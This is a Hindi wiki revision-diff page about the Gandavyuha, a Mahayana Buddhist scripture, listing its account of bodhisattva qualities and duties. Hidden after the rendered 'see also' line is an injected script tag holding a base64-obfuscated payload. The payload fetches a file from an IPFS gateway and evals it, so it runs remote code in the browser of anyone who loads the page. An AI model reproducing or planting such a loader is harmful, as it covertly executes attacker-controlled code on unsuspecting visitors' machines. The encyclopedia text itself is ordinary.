"गंडव्यूह" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
(''''गंडव्यूह''' बौद्ध महायान संप्रदाय का एक मह...' के साथ नया पृष्ठ बनाया)
 
छो (Text replacement - "khoj.bharatdiscovery.org" to "bharatkhoj.org")
 
(इसी सदस्य द्वारा किये गये बीच के 2 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
'''गंडव्यूह''' [[महायान|बौद्ध महायान संप्रदाय]] का एक महत्वपूर्ण ग्रंथ है। इसमें [[बोधिसत्व]] का गुणगान और उनकी उपासना की चर्चा है। इस [[ग्रंथ]] के संबंध में अनुश्रुति है कि एक दिन भगवान्‌ बुद्ध [[श्रावस्ती]] स्थित [[जेतवन विहार|जेतवन]] में विहार कर रहे थे,तब उनके साथ सामंत भद्र, [[मंजुश्री]] आदि पाँच हजार बोधिसत्व थे। उन्होंने बुद्ध से ज्ञान प्रदान करने की प्रार्थना की। तब बुद्ध ने बोधिसत्व की उपासना के संबंध में बताया।<ref name="nn">{{cite web |url=http://khoj.bharatdiscovery.org/india/%E0%A4%97%E0%A4%82%E0%A4%A1%E0%A4%B5%E0%A5%8D%E0%A4%AF%E0%A5%82%E0%A4%B9|title=गंडव्यूह|accessmonthday=6 अगस्त|accessyear=2015|last= |first= |authorlink= |format= |publisher=भरतखोज |language=हिन्दी}}</ref>
+
'''गंडव्यूह''' [[महायान|बौद्ध महायान संप्रदाय]] का एक महत्वपूर्ण [[ग्रंथ]] है। इसमें [[बोधिसत्व]] का गुणगान और उनकी उपासना की चर्चा है।
*इस ग्रंथ में [[बोधिसत्व]] के लक्षण कहे गए हैं।
+
 
*बोधिसत्व प्राप्ति के निमित्त जो कुछ करणीय हैं वह बताया गया है।  
+
*इस [[ग्रंथ]] के संबंध में अनुश्रुति है कि एक दिन [[बुद्ध|भगवान बुद्ध]] [[श्रावस्ती]] स्थित [[जेतवन विहार|जेतवन]] में विहार कर रहे थे, तब उनके साथ सामंत भद्र, [[मंजुश्री]] आदि पाँच हज़ार बोधिसत्व थे। उन्होंने बुद्ध से ज्ञान प्रदान करने की प्रार्थना की। तब बुद्ध ने बोधिसत्व की उपासना के संबंध में बताया।<ref name="nn">{{cite web |url=http://bharatkhoj.org/india/%E0%A4%97%E0%A4%82%E0%A4%A1%E0%A4%B5%E0%A5%8D%E0%A4%AF%E0%A5%82%E0%A4%B9|title=गंडव्यूह|accessmonthday=6 अगस्त|accessyear=2015|last= |first= |authorlink= |format= |publisher=भरतखोज |language=हिन्दी}}</ref>
*समस्त जीवों से प्रेम और करूणा करना, उनके दु:ख की निवृति के निमित्त प्रयत्न करना और जीवों को स्वर्ग मार्ग बताने के निमित्त उपदेश करना बोधिसत्व का कर्तव्य है।  
+
*गंडव्यूह ग्रंथ में [[बोधिसत्व]] के लक्षण कहे गए हैं।
*इस ग्रंथ के अंत में भद्रचारी प्रणिघात गाथा नामक एक स्त्रोत्र है। उसमें महायान पंथ के तत्वज्ञान के निमित्त बुद्ध की स्तुति है।  
+
*बोधिसत्व प्राप्ति के निमित्त जो कुछ भी करणीय हैं, वह गंडव्यूह में बताया गया है।
 +
*समस्त जीवों से प्रेम और करुणा करना, उनके दु:ख की निवृति के निमित्त प्रयत्न करना और जीवों को स्वर्ग मार्ग बताने के निमित्त उपदेश करना बोधिसत्व का कर्तव्य है।
 +
*इस ग्रंथ के अंत में 'भद्रचारी प्रणिघात गाथा' नामक एक स्त्रोत्र है। उसमें [[महायान|महायान पंथ]] के तत्वज्ञान के निमित्त बुद्ध की स्तुति है।  
 +
 
 +
 
 +
{{seealso|बौद्ध धर्म|बुद्ध|बुद्ध की शिक्षा|बौद्ध दर्शन|बौद्ध साहित्य}}
  
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}
पंक्ति 9: पंक्ति 14:
 
<references/>
 
<references/>
 
==संबंधित लेख==
 
==संबंधित लेख==
{{बौद्ध साहित्य}}
+
{{बौद्ध साहित्य}}{{बौद्ध धर्म}}
{{बौद्ध धर्म}}
+
[[Category:बौद्ध दर्शन]][[Category:बौद्ध काल]][[Category:बौद्ध धर्म]][[Category:बौद्ध धर्म कोश]][[Category:हिन्दी विश्वकोश]][[Category:साहित्य कोश]]
[[Category:साहित्य कोश]][[Category:बौद्ध दर्शन]][[Category:बौद्ध काल]][[Category:बौद्ध धर्म]][[Category:बौद्ध धर्म कोश]][[Category:नया पन्ना][[Category:हिन्दी विश्वकोश]]
 
 
__INDEX__
 
__INDEX__
 
__NOTOC__
 
__NOTOC__

12:24, 25 अक्टूबर 2017 के समय का अवतरण

गंडव्यूह बौद्ध महायान संप्रदाय का एक महत्वपूर्ण ग्रंथ है। इसमें बोधिसत्व का गुणगान और उनकी उपासना की चर्चा है।

  • इस ग्रंथ के संबंध में अनुश्रुति है कि एक दिन भगवान बुद्ध श्रावस्ती स्थित जेतवन में विहार कर रहे थे, तब उनके साथ सामंत भद्र, मंजुश्री आदि पाँच हज़ार बोधिसत्व थे। उन्होंने बुद्ध से ज्ञान प्रदान करने की प्रार्थना की। तब बुद्ध ने बोधिसत्व की उपासना के संबंध में बताया।[1]
  • गंडव्यूह ग्रंथ में बोधिसत्व के लक्षण कहे गए हैं।
  • बोधिसत्व प्राप्ति के निमित्त जो कुछ भी करणीय हैं, वह गंडव्यूह में बताया गया है।
  • समस्त जीवों से प्रेम और करुणा करना, उनके दु:ख की निवृति के निमित्त प्रयत्न करना और जीवों को स्वर्ग मार्ग बताने के निमित्त उपदेश करना बोधिसत्व का कर्तव्य है।
  • इस ग्रंथ के अंत में 'भद्रचारी प्रणिघात गाथा' नामक एक स्त्रोत्र है। उसमें महायान पंथ के तत्वज्ञान के निमित्त बुद्ध की स्तुति है।


इन्हें भी देखें: बौद्ध धर्म, बुद्ध, बुद्ध की शिक्षा, बौद्ध दर्शन एवं बौद्ध साहित्य<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. गंडव्यूह (हिन्दी) भरतखोज। अभिगमन तिथि: 6 अगस्त, 2015।

संबंधित लेख